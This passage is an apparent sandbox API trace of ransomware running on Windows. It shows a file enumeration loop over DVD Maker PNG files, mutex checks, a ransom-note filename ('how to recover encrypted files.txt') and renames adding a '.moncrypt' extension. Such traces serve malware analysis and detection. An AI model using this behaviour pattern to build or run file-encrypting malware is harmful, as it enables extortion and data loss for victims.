lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 91 [0058.373] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.373] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.373] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.373] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.373] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.374] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.374] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.374] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.374] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.374] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.374] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.374] GlobalUnlock (hMem=0x44000c) returned 0 [0058.374] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.374] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.374] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.374] GlobalUnlock (hMem=0x44000c) returned 0 [0058.374] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.374] GlobalUnlock (hMem=0x440004) returned 0 [0058.374] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.374] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", cchWideChar=97, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 97 [0058.376] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.376] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.376] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.376] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.376] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.377] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.377] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.377] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.377] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.377] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.377] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.377] GlobalUnlock (hMem=0x440004) returned 0 [0058.377] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.377] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.377] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.377] GlobalUnlock (hMem=0x440004) returned 0 [0058.377] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.377] GlobalUnlock (hMem=0x44000c) returned 0 [0058.378] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.378] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", 